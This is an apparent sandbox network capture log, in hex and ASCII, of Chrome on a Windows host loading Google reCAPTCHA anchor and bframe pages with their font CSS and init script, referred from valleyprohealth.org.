2024-04-24 12:45:20 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 24 Apr 2024 12:45:19 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-3SSKPXeLIzC2QPuE5iVpGg' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 12:45:20 UTC	364	IN	Data Raw: 32 61 66 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b Data Ascii: 2af7<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face {
2024-04-24 12:45:20 UTC	1255	IN	Data Raw: 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 Data Ascii: 18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//font
2024-04-24 12:45:20 UTC	1255	IN	Data Raw: 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 30 30 Data Ascii: 0AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00
2024-04-24 12:45:20 UTC	1255	IN	Data Raw: 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 20 Data Ascii: +04B0-04B1, U+2116;}/* greek-ext /@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/ greek
2024-04-24 12:45:20 UTC	1255	IN	Data Raw: 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b 30 Data Ascii: e { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0
2024-04-24 12:45:20 UTC	1255	IN	Data Raw: 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a Data Ascii: ic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal; font-weight:
2024-04-24 12:45:20 UTC	1255	IN	Data Raw: 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 51 6f 75 6b 48 35 6a 53 4f 33 73 4b 46 7a 56 45 41 37 56 63 38 56 67 43 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 33 53 53 4b 50 58 65 4c 49 7a 43 32 51 50 75 45 35 69 56 70 47 67 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d Data Ascii: </style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/styles__ltr.css"><script nonce="3SSKPXeLIzC2QPuE5iVpGg" type="text/javascript">window['__recaptcha_api'] = 'https://www.google.com
2024-04-24 12:45:20 UTC	1255	IN	Data Raw: 73 65 68 6b 4c 4e 49 42 71 54 42 65 53 31 77 68 32 38 46 68 4f 2d 70 67 54 6b 41 75 31 66 4e 6e 4f 49 78 53 67 6f 4e 45 55 62 44 49 75 6a 56 4e 63 34 72 5f 4c 72 32 37 55 41 4b 58 75 7a 44 6a 46 61 49 36 76 77 68 78 58 79 77 4b 4e 4a 68 33 56 79 45 6f 6d 69 46 52 43 55 31 69 49 44 77 4f 74 2d 6f 5f 72 55 55 6d 77 75 7a 46 71 41 6d 75 61 79 43 61 2d 4b 32 65 4f 2d 58 72 50 69 6f 68 4c 43 4e 38 69 35 75 66 5f 63 48 31 73 71 51 33 56 30 31 31 6e 6f 4a 36 56 52 31 38 4b 52 50 38 73 78 6d 58 41 42 59 78 55 57 4b 78 55 58 64 42 52 66 49 53 73 65 38 5f 62 79 32 4c 5f 71 33 57 63 79 49 37 66 6f 6e 76 4c 65 43 6f 4b 4d 49 5a 36 62 63 62 78 6d 6a 78 6d 39 71 6e 65 5a 4a 52 4b 31 38 33 38 5f 6e 6f 67 51 61 64 2d 78 4d 45 42 49 33 4f 57 33 41 76 77 46 4d 42 6f 52 76 Data Ascii: sehkLNIBqTBeS1wh28FhO-pgTkAu1fNnOIxSgoNEUbDIujVNc4r_Lr27UAKXuzDjFaI6vwhxXywKNJh3VyEomiFRCU1iIDwOt-o_rUUmwuzFqAmuayCa-K2eO-XrPiohLCN8i5uf_cH1sqQ3V011noJ6VR18KRP8sxmXABYxUWKxUXdBRfISse8_by2L_q3WcyI7fonvLeCoKMIZ6bcbxmjxm9qneZJRK1838_nogQad-xMEBI3OW3AvwFMBoRv
2024-04-24 12:45:20 UTC	1255	IN	Data Raw: 44 22 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 33 53 53 4b 50 58 65 4c 49 7a 43 32 51 50 75 45 35 69 56 70 47 67 22 3e 0a 20 20 20 20 20 20 72 65 63 61 70 74 63 68 61 2e 61 6e 63 68 6f 72 2e 4d 61 69 6e 2e 69 6e 69 74 28 22 5b 5c 78 32 32 61 69 6e 70 75 74 5c 78 32 32 2c 5b 5c 78 32 32 62 67 64 61 74 61 5c 78 32 32 2c 5c 78 32 32 4c 79 39 33 64 33 63 75 5a 32 39 76 5a 32 78 6c 4c 6d 4e 76 62 53 39 71 63 79 39 69 5a 79 38 32 53 6b 73 33 55 47 74 6f 55 56 42 71 5a 30 64 6c 51 6c 70 78 65 55 68 4c 51 31 4e 58 64 55 70 4c 52 44 56 61 53 6d 31 47 58 32 74 36 62 56 41 35 55 57 78 57 4d 55 52 5a 4c 6d 70 7a 5c 78 32 32 2c 5c 78 32 32 5c 78 32 32 2c 5c 78 32 32 53 6e 64 4a 5a 54 52 4f Data Ascii: D"><script type="text/javascript" nonce="3SSKPXeLIzC2QPuE5iVpGg"> recaptcha.anchor.Main.init("[\x22ainput\x22,[\x22bgdata\x22,\x22Ly93d3cuZ29vZ2xlLmNvbS9qcy9iZy82Sks3UGtoUVBqZ0dlQlpxeUhLQ1NXdUpLRDVaSm1GX2t6bVA5UWxWMURZLmpz\x22,\x22\x22,\x22SndJZTRO
2024-04-24 12:45:20 UTC	603	IN	Data Raw: 5a 6e 42 34 51 6c 6c 49 63 6e 5a 6d 56 69 39 72 55 45 4a 79 54 55 34 35 62 6d 67 79 62 6c 4d 77 54 45 4a 61 53 6d 4a 36 63 6c 42 49 53 47 78 79 62 33 63 76 53 56 4a 52 4e 55 35 5a 52 47 4e 51 59 32 70 6e 59 31 5a 47 54 6d 46 49 4d 44 56 44 57 56 67 31 63 6c 5a 56 52 6c 56 77 65 48 68 59 53 7a 56 46 62 48 42 73 61 57 63 35 56 6c 46 77 56 47 70 56 63 57 6c 6d 54 31 56 45 4b 32 77 72 55 7a 4a 33 62 30 78 78 51 58 70 77 4e 45 35 47 51 53 73 31 5a 56 6c 31 59 58 45 31 53 6b 64 33 64 57 4a 6a 54 57 78 46 65 6e 6c 43 55 58 42 31 4d 30 39 68 63 6b 31 71 57 55 35 77 53 57 77 34 65 48 64 76 57 54 6c 4b 63 6a 67 79 4d 33 46 33 53 7a 51 77 55 32 56 6e 65 46 68 32 54 48 55 77 59 33 6f 78 53 33 56 4d 63 32 35 6e 64 57 46 69 54 6e 45 77 56 30 46 34 53 6d 78 4e 54 31 4d Data Ascii: ZnB4QllIcnZmVi9rUEJyTU45bmgyblMwTEJaSmJ6clBISGxyb3cvSVJRNU5ZRGNQY2pnY1ZGTmFIMDVDWVg1clZVRlVweHhYSzVFbHBsaWc5VlFwVGpVcWlmT1VEK2wrUzJ3b0xxQXpwNE5GQSs1ZVl1YXE1Skd3dWJjTWxFenlCUXB1M09hck1qWU5wSWw4eHdvWTlKcjgyM3F3SzQwU2VneFh2THUwY3oxS3VMc25ndWFiTnEwV0F4SmxNT1M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
306	192.168.2.4	50176	142.250.101.99	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:20 UTC	985	OUT	GET /recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6cBqHyI6CxMAsgy8FuOW8qvOPUXUVkx1mhQVyYVVakiGeLeuNy0jm-Jzkcyqagtyn3kw9sO3eYO-2RcVmE
2024-04-24 12:45:21 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 24 Apr 2024 12:45:21 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-uT98d4a779c_19io-xcKDg' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 12:45:21 UTC	364	IN	Data Raw: 31 64 31 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 Data Ascii: 1d14<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face
2024-04-24 12:45:21 UTC	1255	IN	Data Raw: 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e Data Ascii: v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fon
2024-04-24 12:45:21 UTC	1255	IN	Data Raw: 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 30 Data Ascii: 20AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E0
2024-04-24 12:45:21 UTC	1255	IN	Data Raw: 55 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b Data Ascii: U+04B0-04B1, U+2116;}/* greek-ext /@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/ greek
2024-04-24 12:45:21 UTC	1255	IN	Data Raw: 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b Data Ascii: ce { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+
2024-04-24 12:45:21 UTC	1255	IN	Data Raw: 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 Data Ascii: tic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal; font-weight
2024-04-24 12:45:21 UTC	813	IN	Data Raw: 7d 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 51 6f 75 6b 48 35 6a 53 4f 33 73 4b 46 7a 56 45 41 37 56 63 38 56 67 43 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 75 54 39 38 64 34 61 37 37 39 63 5f 31 39 69 6f 2d 78 63 4b 44 67 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f Data Ascii: }</style><link rel="stylesheet" type="text/css" 